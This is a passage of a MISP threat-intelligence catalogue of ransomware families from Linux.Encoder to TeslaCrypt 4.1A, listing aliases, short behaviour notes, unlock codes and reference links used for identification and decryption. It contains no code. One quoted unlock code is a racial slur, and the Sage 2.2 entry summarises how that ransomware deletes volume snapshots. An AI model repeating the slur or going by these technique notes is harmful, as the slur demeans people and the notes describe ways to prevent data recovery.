https://www.2-spyware.com/remove-lick-ransomware-virus.html

Linux.Encoder

Ransomware Linux Ransomware

The tag is: misp-galaxy:ransomware="Linux.Encoder"

Linux.Encoder is also known as:

Linux.Encoder.{0,3}

Table 3852. Table References
Links
https://labs.bitdefender.com/2015/11/linux-ransomware-debut-fails-on-predictable-encryption-key/

LK Encryption

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="LK Encryption"

Table 3853. Table References
Links
https://twitter.com/malwrhunterteam/status/845183290873044994
http://id-ransomware.blogspot.com/2017/03/lk-encryption-ransomware.html

LLTP Locker

Ransomware Targeting Spanish speaking victims

The tag is: misp-galaxy:ransomware="LLTP Locker"

Table 3854. Table References
Links
https://www.bleepingcomputer.com/news/security/new-lltp-ransomware-appears-to-be-a-rewritten-venus-locker/
http://id-ransomware.blogspot.com/2017/03/lltp-ransomware.html

Locker

Ransomware has GUI

The tag is: misp-galaxy:ransomware="Locker"

Table 3855. Table References
Links
http://www.bleepingcomputer.com/forums/t/577246/locker-ransomware-support-and-help-topic/page-32#entry3721545
https://id-ransomware.blogspot.com/2016/04/locker-ransomware-2015.html

LockLock

Ransomware

The tag is: misp-galaxy:ransomware="LockLock"

Table 3856. Table References
Links
https://www.bleepingcomputer.com/forums/t/626750/locklock-ransomware-locklock-help-support/
https://id-ransomware.blogspot.com/2016/09/locklock-ransomware.html

Locky

Ransomware Affiliations with Dridex and Necurs botnets

The tag is: misp-galaxy:ransomware="Locky"

Locky has relationships with:

similar: misp-galaxy:malpedia="Locky" with estimative-language:likelihood-probability="likely"

Table 3857. Table References
Links
http://www.bleepingcomputer.com/news/security/new-locky-version-adds-the-zepto-extension-to-encrypted-files/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-locky-ransomware-spotted-in-the-brazilian-underground-market-uses-windows-script-files/
https://nakedsecurity.sophos.com/2016/10/06/odin-ransomware-takes-over-from-zepto-and-locky/
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-egyptian-mythology-with-the-osiris-extension/
https://id-ransomware.blogspot.com/2016/02/locky.html

Lortok

Ransomware

The tag is: misp-galaxy:ransomware="Lortok"

Table 3858. Table References
Links
https://id-ransomware.blogspot.com/2016/06/lortok-ransomware-aes-256-5.html

LowLevel04

Ransomware Prepends filenames

The tag is: misp-galaxy:ransomware="LowLevel04"

Table 3859. Table References
Links
http://id-ransomware.blogspot.com/2016/04/lowlevel04-ransomware.html

M4N1F3STO

Ransomware Does not encrypt Unlock code=suckmydicknigga

The tag is: misp-galaxy:ransomware="M4N1F3STO"

Table 3860. Table References
Links
https://twitter.com/jiriatvirlab/status/808015275367002113
http://id-ransomware.blogspot.com/2016/12/m4n1f3sto-ransomware.html

Mabouia

Ransomware OS X ransomware (PoC)

The tag is: misp-galaxy:ransomware="Mabouia"

Table 3861. Table References
Links
https://www.youtube.com/watch?v=9nJv_PN2m1Y

MacAndChess

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="MacAndChess"

Table 3862. Table References
Links
http://id-ransomware.blogspot.com/2017/03/macandchess-ransomware.html

Magic

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="Magic"

Table 3863. Table References
Links
http://id-ransomware.blogspot.com/2016/04/magic-ransomware.html

MaktubLocker

Ransomware

The tag is: misp-galaxy:ransomware="MaktubLocker"

Table 3864. Table References
Links
https://blog.malwarebytes.org/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/
http://id-ransomware.blogspot.com/2016/04/maktub-locker-ransomware.html

MarsJoke

Ransomware

The tag is: misp-galaxy:ransomware="MarsJoke"

Table 3865. Table References
Links
https://securelist.ru/blog/issledovaniya/29376/polyglot-the-fake-ctb-locker/
https://www.proofpoint.com/us/threat-insight/post/MarsJoke-Ransomware-Mimics-CTB-Locker
http://id-ransomware.blogspot.com/2016/09/jokefrommars-ransomware.html

Meister

Ransomware Targeting French victims

The tag is: misp-galaxy:ransomware="Meister"

Table 3866. Table References
Links
https://twitter.com/siri_urz/status/840913419024945152

Meteoritan

Ransomware

The tag is: misp-galaxy:ransomware="Meteoritan"

Table 3867. Table References
Links
https://twitter.com/malwrhunterteam/status/844614889620561924
http://id-ransomware.blogspot.com/2017/03/meteoritan-ransomware.html

MIRCOP

Ransomware Prepends files Demands 48.48 BTC

The tag is: misp-galaxy:ransomware="MIRCOP"

MIRCOP is also known as:

Crypt888

Table 3868. Table References
Links
http://www.bleepingcomputer.com/forums/t/618457/microcop-ransomware-help-support-lock-mircop/
https://www.avast.com/ransomware-decryption-tools#!
http://blog.trendmicro.com/trendlabs-security-intelligence/instruction-less-ransomware-mircop-channels-guy-fawkes/
http://www.nyxbone.com/malware/Mircop.html
https://id-ransomware.blogspot.com/2016/06/mircop-ransomware-4848.html

MireWare

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="MireWare"

Table 3869. Table References
Links
http://id-ransomware.blogspot.com/2016/05/mireware-ransomware.html

Mischa

Ransomware Packaged with Petya PDFBewerbungsmappe.exe

The tag is: misp-galaxy:ransomware="Mischa"

Mischa is also known as:

"Petya’s little brother"

Table 3870. Table References
Links
http://www.bleepingcomputer.com/news/security/petya-is-back-and-with-a-friend-named-mischa-ransomware/
https://id-ransomware.blogspot.com/2016/05/petya-mischa-ransomware.html

MM Locker

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="MM Locker"

MM Locker is also known as:

Booyah

MM Locker has relationships with:

similar: misp-galaxy:ransomware="Booyah" with estimative-language:likelihood-probability="likely"

Table 3871. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered
https://id-ransomware.blogspot.com/2016/06/mm-locker-ransomware-aes-2256-1.html

Mobef

Ransomware

The tag is: misp-galaxy:ransomware="Mobef"

Mobef is also known as:

Yakes
CryptoBit

Mobef has relationships with:

similar: misp-galaxy:ransomware="CryptoBit" with estimative-language:likelihood-probability="likely"

Table 3872. Table References
Links
http://nyxbone.com/malware/Mobef.html
http://researchcenter.paloaltonetworks.com/2016/07/unit42-cryptobit-another-ransomware-family-gets-an-update/
http://nyxbone.com/images/articulos/malware/mobef/0.png
http://id-ransomware.blogspot.com/2016/05/mobef-yakes-ransomware-4-bitcoins-2000.html

Monument

Ransomware Use the DarkLocker 5 porn screenlocker - Jigsaw variant

The tag is: misp-galaxy:ransomware="Monument"

Table 3873. Table References
Links
https://twitter.com/malwrhunterteam/status/844826339186135040

N-Splitter

Ransomware Russian Koolova Variant

The tag is: misp-galaxy:ransomware="N-Splitter"

Table 3874. Table References
Links
https://twitter.com/JakubKroustek/status/815961663644008448
https://www.youtube.com/watch?v=dAVMgX8Zti4&feature=youtu.be&list=UU_TMZYaLIgjsdJMwurHAi4Q

n1n1n1

Ransomware Filemaker: "333333333333"

The tag is: misp-galaxy:ransomware="n1n1n1"

Table 3875. Table References
Links
https://twitter.com/demonslay335/status/790608484303712256
https://twitter.com/demonslay335/status/831891344897482754
http://id-ransomware.blogspot.com/2016/09/n1n1n1-ransomware.html

NanoLocker

Ransomware no extension change, has a GUI

The tag is: misp-galaxy:ransomware="NanoLocker"

NanoLocker has relationships with:

similar: misp-galaxy:malpedia="NanoLocker" with estimative-language:likelihood-probability="likely"

Table 3876. Table References
Links
http://github.com/Cyberclues/nanolocker-decryptor
https://id-ransomware.blogspot.com/2016/06/nanolocker-ransomware-aes-256-rsa-01.html

Nemucod

Ransomware 7zip (a0.exe) variant cannot be decrypted Encrypts the first 2048 Bytes

The tag is: misp-galaxy:ransomware="Nemucod"

Table 3877. Table References
Links
https://decrypter.emsisoft.com/nemucod
https://github.com/Antelox/NemucodFR
http://www.bleepingcomputer.com/news/security/decryptor-released-for-the-nemucod-trojans-crypted-ransomware/
https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/
http://id-ransomware.blogspot.com/2016/04/nemucod-ransomware.html

Netix

Ransomware

The tag is: misp-galaxy:ransomware="Netix"

Netix is also known as:

RANSOM_NETIX.A

Table 3878. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/
https://id-ransomware.blogspot.com/2017/01/netflix-ransomware.html

Nhtnwcuf

Ransomware Does not encrypt the files / Files are destroyed

The tag is: misp-galaxy:ransomware="Nhtnwcuf"

Table 3879. Table References
Links
https://twitter.com/demonslay335/status/839221457360195589
http://id-ransomware.blogspot.com/2017/03/nhtnwcuf-ransomware.html

NMoreira

Ransomware

The tag is: misp-galaxy:ransomware="NMoreira"

NMoreira is also known as:

XRatTeam
XPan

Table 3880. Table References
Links
https://decrypter.emsisoft.com/nmoreira
https://twitter.com/fwosar/status/803682662481174528
id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html[id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html]

NoobCrypt

Ransomware

The tag is: misp-galaxy:ransomware="NoobCrypt"

Table 3881. Table References
Links
https://twitter.com/JakubKroustek/status/757267550346641408
https://www.bleepingcomputer.com/news/security/noobcrypt-ransomware-dev-shows-noobness-by-using-same-password-for-everyone/
https://id-ransomware.blogspot.com/2016/07/noobcrypt-ransomare-250-nzd.html

Nuke

Ransomware

The tag is: misp-galaxy:ransomware="Nuke"

Table 3882. Table References
Links
http://id-ransomware.blogspot.com/2016/10/nuke-ransomware.html

Nullbyte

Ransomware

The tag is: misp-galaxy:ransomware="Nullbyte"

Table 3883. Table References
Links
https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip
https://www.bleepingcomputer.com/news/security/the-nullbyte-ransomware-pretends-to-be-the-necrobot-pokemon-go-application/
http://id-ransomware.blogspot.com/2016/08/nullbyte-ransomware.html

ODCODC

Ransomware

The tag is: misp-galaxy:ransomware="ODCODC"

Table 3884. Table References
Links
http://download.bleepingcomputer.com/BloodDolly/ODCODCDecoder.zip
http://www.nyxbone.com/malware/odcodc.html
https://twitter.com/PolarToffee/status/813762510302183424
http://www.nyxbone.com/images/articulos/malware/odcodc/1c.png
http://id-ransomware.blogspot.com/2016/05/odcodc-ransomware-rsa-2048.html

Offline ransomware

Ransomware email addresses overlap with .777 addresses

The tag is: misp-galaxy:ransomware="Offline ransomware"

Offline ransomware is also known as:

Vipasana
Cryakl

Offline ransomware has relationships with:

similar: misp-galaxy:ransomware="Cryakl" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"

Table 3885. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547
http://bartblaze.blogspot.com.co/2016/02/vipasana-ransomware-new-ransom-on-block.html

OMG! Ransomware

Ransomware

The tag is: misp-galaxy:ransomware="OMG! Ransomware"

OMG! Ransomware is also known as:

GPCode

OMG! Ransomware has relationships with:

similar: misp-galaxy:malpedia="GPCode" with estimative-language:likelihood-probability="likely"

Operation Global III

Ransomware Is a file infector (virus)

The tag is: misp-galaxy:ransomware="Operation Global III"

Table 3886. Table References
Links
http://news.thewindowsclub.com/operation-global-iii-ransomware-decryption-tool-released-70341/

Owl

Ransomware

The tag is: misp-galaxy:ransomware="Owl"

Owl is also known as:

CryptoWire

Owl has relationships with:

similar: misp-galaxy:malpedia="CryptoWire" with estimative-language:likelihood-probability="likely"

Table 3887. Table References
Links
https://twitter.com/JakubKroustek/status/842342996775448576
https://id-ransomware.blogspot.com/2016/10/cryptowire-ransomware.html

PadCrypt

Ransomware has a live support chat

The tag is: misp-galaxy:ransomware="PadCrypt"

PadCrypt has relationships with:

similar: misp-galaxy:malpedia="PadCrypt" with estimative-language:likelihood-probability="likely"

Table 3888. Table References
Links
http://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/
https://twitter.com/malwrhunterteam/status/798141978810732544
http://id-ransomware.blogspot.com/2016/04/padcrypt-ransomware.html

Padlock Screenlocker

Ransomware Unlock code is: ajVr/G\ RJz0R

The tag is: misp-galaxy:ransomware="Padlock Screenlocker"

Table 3889. Table References
Links
https://twitter.com/BleepinComputer/status/811635075158839296

Patcher

Ransomware Targeting macOS users

The tag is: misp-galaxy:ransomware="Patcher"

Patcher has relationships with:

similar: misp-galaxy:ransomware="FileCoder" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

Table 3890. Table References
Links
https://blog.malwarebytes.com/cybercrime/2017/02/decrypting-after-a-findzip-ransomware-infection/
https://www.bleepingcomputer.com/news/security/new-macos-patcher-ransomware-locks-data-for-good-no-way-to-recover-your-files/

Petya

Ransomware encrypts disk partitions PDFBewerbungsmappe.exe

The tag is: misp-galaxy:ransomware="Petya"

Petya is also known as:

Goldeneye

Petya has relationships with:

similar: misp-galaxy:malpedia="Petya" with estimative-language:likelihood-probability="likely"

Table 3891. Table References
Links
http://www.thewindowsclub.com/petya-ransomware-decrypt-tool-password-generator
https://www.youtube.com/watch?v=mSqxFjZq_z4
https://blog.malwarebytes.org/threat-analysis/2016/04/petya-ransomware/
https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/

Philadelphia

Ransomware Coded by "The_Rainmaker"

The tag is: misp-galaxy:ransomware="Philadelphia"

Table 3892. Table References
Links
https://decrypter.emsisoft.com/philadelphia
www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/[www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/]
http://id-ransomware.blogspot.ru/2016/09/philadelphia-ransomware.html

PizzaCrypts

Ransomware

The tag is: misp-galaxy:ransomware="PizzaCrypts"

Table 3893. Table References
Links
http://download.bleepingcomputer.com/BloodDolly/JuicyLemonDecoder.zip
https://id-ransomware.blogspot.com/2016/07/pizzacrypts-ransomware-1.html

PokemonGO

Ransomware Based on Hidden Tear

The tag is: misp-galaxy:ransomware="PokemonGO"

Table 3894. Table References
Links
http://www.nyxbone.com/malware/pokemonGO.html
http://www.bleepingcomputer.com/news/security/pokemongo-ransomware-installs-backdoor-accounts-and-spreads-to-other-drives/
https://id-ransomware.blogspot.com/2016/08/pokemongo-ransomware-aes-256.html

Polyglot

Ransomware Immitates CTB-Locker

The tag is: misp-galaxy:ransomware="Polyglot"

Polyglot has relationships with:

similar: misp-galaxy:malpedia="Polyglot" with estimative-language:likelihood-probability="likely"

Table 3895. Table References
Links
https://support.kaspersky.com/8547
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/

PowerWare

Ransomware Open-sourced PowerShell

The tag is: misp-galaxy:ransomware="PowerWare"

PowerWare is also known as:

PoshCoder

PowerWare has relationships with:

similar: misp-galaxy:malpedia="PowerWare" with estimative-language:likelihood-probability="likely"

Table 3896. Table References
Links
https://github.com/pan-unit42/public_tools/blob/master/powerware/powerware_decrypt.py
https://download.bleepingcomputer.com/demonslay335/PowerLockyDecrypter.zip
https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
http://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/
http://id-ransomware.blogspot.com/2016/04/powerware-ransomware.html

PowerWorm

Ransomware no decryption possible, throws key away, destroys the files

The tag is: misp-galaxy:ransomware="PowerWorm"

Princess Locker

Ransomware

The tag is: misp-galaxy:ransomware="Princess Locker"

Table 3897. Table References
Links
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/
https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/
http://id-ransomware.blogspot.com/2016/09/princess-locker-ransomware.html

PRISM

Ransomware

The tag is: misp-galaxy:ransomware="PRISM"

Table 3898. Table References
Links
http://www.enigmasoftware.com/prismyourcomputerhasbeenlockedransomware-removal/

Ps2exe

Ransomware

The tag is: misp-galaxy:ransomware="Ps2exe"

Table 3899. Table References
Links
https://twitter.com/jiriatvirlab/status/803297700175286273

R

Ransomware

The tag is: misp-galaxy:ransomware="R"

Table 3900. Table References
Links
https://twitter.com/malwrhunterteam/status/846705481741733892
http://id-ransomware.blogspot.com/2017/03/r-ransomware.html

R980

Ransomware

The tag is: misp-galaxy:ransomware="R980"

Table 3901. Table References
Links
https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/
http://id-ransomware.blogspot.com/2016/07/r980-ransomware-aes-256-rsa4096-05.html

RAA encryptor

Ransomware Possible affiliation with Pony

The tag is: misp-galaxy:ransomware="RAA encryptor"

RAA encryptor is also known as:

Table 3902. Table References
Links
https://reaqta.com/2016/06/raa-ransomware-delivering-pony/
http://www.bleepingcomputer.com/news/security/the-new-raa-ransomware-is-created-entirely-using-javascript/
https://id-ransomware.blogspot.com/2016/06/raa-ransomware-aes-256-039-250.html

Rabion

Ransomware RaaS Copy of Ranion RaaS

The tag is: misp-galaxy:ransomware="Rabion"

Table 3903. Table References
Links
https://twitter.com/CryptoInsane/status/846181140025282561

Radamant

Ransomware

The tag is: misp-galaxy:ransomware="Radamant"

Radamant has relationships with:

similar: misp-galaxy:malpedia="Radamant" with estimative-language:likelihood-probability="likely"

Table 3904. Table References
Links
https://decrypter.emsisoft.com/radamant
http://www.bleepingcomputer.com/news/security/new-radamant-ransomware-kit-adds-rdm-extension-to-encrypted-files/
http://www.nyxbone.com/malware/radamant.html
https://id-ransomware.blogspot.com/2016/04/radamant-ransomware.html

Rakhni

Ransomware Files might be partially encrypted

The tag is: misp-galaxy:ransomware="Rakhni"

Rakhni is also known as:

Agent.iih
Aura
Autoit
Pletor
Rotor
Lamer
Isda
Cryptokluchen
Bandarchor

Rakhni has relationships with:

similar: misp-galaxy:ransomware="Bandarchor" with estimative-language:likelihood-probability="likely"

Table 3905. Table References
Links
https://support.kaspersky.com/us/viruses/disinfection/10556
https://id-ransomware.blogspot.com/2016/07/bandarchor-ransomware-aes-256.html

Ramsomeer

Ransomware Based on the DUMB ransomware

The tag is: misp-galaxy:ransomware="Ramsomeer"

Rannoh

Ransomware

The tag is: misp-galaxy:ransomware="Rannoh"

Table 3906. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547

RanRan

Ransomware

The tag is: misp-galaxy:ransomware="RanRan"

Table 3907. Table References
Links
https://github.com/pan-unit42/public_tools/tree/master/ranran_decryption
http://researchcenter.paloaltonetworks.com/2017/03/unit42-targeted-ransomware-attacks-middle-eastern-government-organizations-political-purposes/
https://www.bleepingcomputer.com/news/security/new-ranran-ransomware-uses-encryption-tiers-political-messages/

Ransoc

Ransomware Doesn’t encrypt user files

The tag is: misp-galaxy:ransomware="Ransoc"

Ransoc has relationships with:

similar: misp-galaxy:malpedia="Ransoc" with estimative-language:likelihood-probability="likely"

Table 3908. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles
https://www.bleepingcomputer.com/news/security/ransoc-ransomware-extorts-users-who-accessed-questionable-content/

Ransom32

Ransomware no extension change, Javascript Ransomware

The tag is: misp-galaxy:ransomware="Ransom32"

Table 3909. Table References
Links
http://id-ransomware.blogspot.com/2016/04/ransom32.html

RansomLock

Ransomware Locks the desktop

The tag is: misp-galaxy:ransomware="RansomLock"

Table 3910. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2009-041513-1400-99&tabid=2

RarVault

Ransomware

The tag is: misp-galaxy:ransomware="RarVault"

Table 3911. Table References
Links
http://id-ransomware.blogspot.com/2016/09/rarvault-ransomware.html

Razy

Ransomware

The tag is: misp-galaxy:ransomware="Razy"

Table 3912. Table References
Links
http://www.nyxbone.com/malware/Razy(German).html
http://nyxbone.com/malware/Razy.html
http://id-ransomware.blogspot.com/2016/08/razy-ransomware-aes.html

Rector

Ransomware

The tag is: misp-galaxy:ransomware="Rector"

Table 3913. Table References
Links
https://support.kaspersky.com/viruses/disinfection/4264

RektLocker

Ransomware

The tag is: misp-galaxy:ransomware="RektLocker"

Table 3914. Table References
Links
https://support.kaspersky.com/viruses/disinfection/4264
http://id-ransomware.blogspot.com/2016/08/rektlocker-ransomware.html

RemindMe

Ransomware

The tag is: misp-galaxy:ransomware="RemindMe"

Table 3915. Table References
Links
http://www.nyxbone.com/malware/RemindMe.html
http://i.imgur.com/gV6i5SN.jpg
http://id-ransomware.blogspot.com/2016/05/remindme-ransomware-2.html

Rokku

Ransomware possibly related with Chimera

The tag is: misp-galaxy:ransomware="Rokku"

Rokku has relationships with:

similar: misp-galaxy:malpedia="Rokku" with estimative-language:likelihood-probability="likely"

Table 3916. Table References
Links
https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/
https://id-ransomware.blogspot.com/2016/04/rokku-ransomware.html

RoshaLock

Ransomware Stores your files in a password protected RAR file

The tag is: misp-galaxy:ransomware="RoshaLock"

Table 3917. Table References
Links
https://twitter.com/siri_urz/status/842452104279134209
https://id-ransomware.blogspot.com/2017/02/allyourdocuments-ransomware.html

Runsomewere

Ransomware Based on HT/EDA2 Utilizes the Jigsaw Ransomware background

The tag is: misp-galaxy:ransomware="Runsomewere"

Table 3918. Table References
Links
https://twitter.com/struppigel/status/801812325657440256

RussianRoulette

Ransomware Variant of the Philadelphia ransomware

The tag is: misp-galaxy:ransomware="RussianRoulette"

Table 3919. Table References
Links
https://twitter.com/struppigel/status/823925410392080385

SADStory

Ransomware Variant of CryPy

The tag is: misp-galaxy:ransomware="SADStory"

Table 3920. Table References
Links
https://twitter.com/malwrhunterteam/status/845356853039190016
http://id-ransomware.blogspot.com/2017/03/sadstory-ransomware.html

Sage 2.2

Ransomware Sage 2.2 deletes volume snapshots through vssadmin.exe, disables startup repair, uses process wscript.exe to execute a VBScript, and coordinates the execution of scheduled tasks via schtasks.exe.

The tag is: misp-galaxy:ransomware="Sage 2.2"

Table 3921. Table References
Links
https://malwarebreakdown.com/2017/03/16/sage-2-2-ransomware-from-good-man-gate
https://malwarebreakdown.com/2017/03/10/finding-a-good-man/

Samas-Samsam

Ransomware Targeted attacks -Jexboss -PSExec -Hyena

The tag is: misp-galaxy:ransomware="Samas-Samsam"

Samas-Samsam is also known as:

samsam.exe
MIKOPONI.exe
RikiRafael.exe
showmehowto.exe
SamSam Ransomware
SamSam
Samsam

Samas-Samsam has relationships with:

similar: misp-galaxy:malpedia="SamSam" with estimative-language:likelihood-probability="likely"

Table 3922. Table References
Links
https://download.bleepingcomputer.com/demonslay335/SamSamStringDecrypter.zip
http://blog.talosintel.com/2016/03/samsam-ransomware.html
http://www.intelsecurity.com/advanced-threat-research/content/Analysis_SamSa_Ransomware.pdf
https://www.bleepingcomputer.com/news/security/new-samsam-variant-requires-special-password-before-infection/
https://www.bleepingcomputer.com/news/security/samsam-ransomware-crew-made-nearly-6-million-from-ransom-payments/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf
https://id-ransomware.blogspot.com/2016/03/samsam.html

Sanction

Ransomware Based on HiddenTear, but heavily modified keygen

The tag is: misp-galaxy:ransomware="Sanction"

Table 3923. Table References
Links
http://id-ransomware.blogspot.com/2016/05/sanction-ransomware-3.html

Sanctions

Ransomware

The tag is: misp-galaxy:ransomware="Sanctions"

Table 3924. Table References
Links
https://www.bleepingcomputer.com/news/security/sanctions-ransomware-makes-fun-of-usa-sanctions-against-russia/
http://id-ransomware.blogspot.com/2017/03/sanctions-2017-ransomware.html

Sardoninir

Ransomware

The tag is: misp-galaxy:ransomware="Sardoninir"

Table 3925. Table References
Links
https://twitter.com/BleepinComputer/status/835955409953357825

Satana

Ransomware

The tag is: misp-galaxy:ransomware="Satana"

Satana has relationships with:

similar: misp-galaxy:malpedia="Satana" with estimative-language:likelihood-probability="likely"

Table 3926. Table References
Links
https://blog.malwarebytes.com/threat-analysis/2016/06/satana-ransomware/
https://blog.kaspersky.com/satana-ransomware/12558/
https://id-ransomware.blogspot.com/2016/06/satana-ransomware-0.html

Scraper

Ransomware

The tag is: misp-galaxy:ransomware="Scraper"

Table 3927. Table References
Links
http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/

Serpico

Ransomware DetoxCrypto Variant

The tag is: misp-galaxy:ransomware="Serpico"

Serpico has relationships with:

similar: misp-galaxy:malpedia="Serpico" with estimative-language:likelihood-probability="likely"

Table 3928. Table References
Links
http://www.nyxbone.com/malware/Serpico.html
http://id-ransomware.blogspot.com/2016/08/serpico-ransomware.html

Shark

Ransomware

The tag is: misp-galaxy:ransomware="Shark"

Shark is also known as:

Atom

Shark has relationships with:

similar: misp-galaxy:rat="SharK" with estimative-language:likelihood-probability="likely"

Table 3929. Table References
Links
http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/
http://www.bleepingcomputer.com/news/security/shark-ransomware-rebrands-as-atom-for-a-fresh-start/

ShinoLocker

Ransomware

The tag is: misp-galaxy:ransomware="ShinoLocker"

Table 3930. Table References
Links
https://twitter.com/JakubKroustek/status/760560147131408384
http://www.bleepingcomputer.com/news/security/new-educational-shinolocker-ransomware-project-released/
https://id-ransomware.blogspot.com/2016/08/shinolocker-ransomware.html

Shujin

Ransomware

The tag is: misp-galaxy:ransomware="Shujin"

Shujin is also known as:

KinCrypt

Shujin has relationships with:

similar: misp-galaxy:malpedia="Shujin" with estimative-language:likelihood-probability="likely"

Table 3931. Table References
Links
http://www.nyxbone.com/malware/chineseRansom.html
http://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/
http://id-ransomware.blogspot.com/2016/05/chinese-ransomware.html

Simple_Encoder

Ransomware

The tag is: misp-galaxy:ransomware="Simple_Encoder"

Table 3932. Table References
Links
http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/
https://id-ransomware.blogspot.com/2016/07/tilde-ransomware-aes-08.html

SkidLocker

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="SkidLocker"

SkidLocker is also known as:

Pompous

Table 3933. Table References
Links
http://www.bleepingcomputer.com/news/security/pompous-ransomware-dev-gets-defeated-by-backdoor/
http://www.nyxbone.com/malware/SkidLocker.html
http://id-ransomware.blogspot.com/2016/04/pompous-ransomware.html

Smash!

Ransomware

The tag is: misp-galaxy:ransomware="Smash!"

Table 3934. Table References
Links
https://www.bleepingcomputer.com/news/security/smash-ransomware-is-cute-rather-than-dangerous/

Smrss32

Ransomware

The tag is: misp-galaxy:ransomware="Smrss32"

Table 3935. Table References
Links
http://id-ransomware.blogspot.com/2016/08/smrss32-ransomware.html

SNSLocker

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="SNSLocker"

Table 3936. Table References
Links
http://nyxbone.com/malware/SNSLocker.html
http://nyxbone.com/images/articulos/malware/snslocker/16.png
http://id-ransomware.blogspot.com/2016/05/sns-locker-ransomware-aes-256-066.html

Sport

Ransomware

The tag is: misp-galaxy:ransomware="Sport"

Stampado

Ransomware Coded by "The_Rainmaker" Randomly deletes a file every 6hrs up to 96hrs then deletes decryption key

The tag is: misp-galaxy:ransomware="Stampado"

Table 3937. Table References
Links
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221
http://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/
https://decrypter.emsisoft.com/stampado
https://cdn.streamable.com/video/mp4/kfh3.mp4
http://blog.trendmicro.com/trendlabs-security-intelligence/the-economics-behind-ransomware-prices/
https://id-ransomware.blogspot.com/2016/07/stampado-ransomware-1.html

Strictor

Ransomware Based on EDA2, shows Guy Fawkes mask

The tag is: misp-galaxy:ransomware="Strictor"

Table 3938. Table References
Links
http://www.nyxbone.com/malware/Strictor.html

Surprise

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="Surprise"

Table 3939. Table References
Links
http://id-ransomware.blogspot.com/2016/05/surprise-ransomware-aes-256.html

Survey

Ransomware Still in development, shows FileIce survey

The tag is: misp-galaxy:ransomware="Survey"

Table 3940. Table References
Links
http://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

SynoLocker

Ransomware Exploited Synology NAS firmware directly over WAN

The tag is: misp-galaxy:ransomware="SynoLocker"

SZFLocker

Ransomware

The tag is: misp-galaxy:ransomware="SZFLocker"

Table 3941. Table References
Links
http://now.avg.com/dont-pay-the-ransom-avg-releases-six-free-decryption-tools-to-retrieve-your-files/
https://id-ransomware.blogspot.com/2016/06/szflocker-polish-ransomware-email.html

TeamXrat

Ransomware

The tag is: misp-galaxy:ransomware="TeamXrat"

Table 3942. Table References
Links
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

TeslaCrypt 0.x - 2.2.0

Ransomware Factorization

The tag is: misp-galaxy:ransomware="TeslaCrypt 0.x - 2.2.0"

TeslaCrypt 0.x - 2.2.0 is also known as:

AlphaCrypt

Table 3943. Table References
Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.talosintel.com/teslacrypt_tool/

TeslaCrypt 3.0+

Ransomware 4.0+ has no extension

The tag is: misp-galaxy:ransomware="TeslaCrypt 3.0+"

Table 3944. Table References
Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/

TeslaCrypt 4.1A

Ransomware

The tag is: misp-galaxy:ransomware="TeslaCrypt 4.1A"

Table 3945. Table References
Links
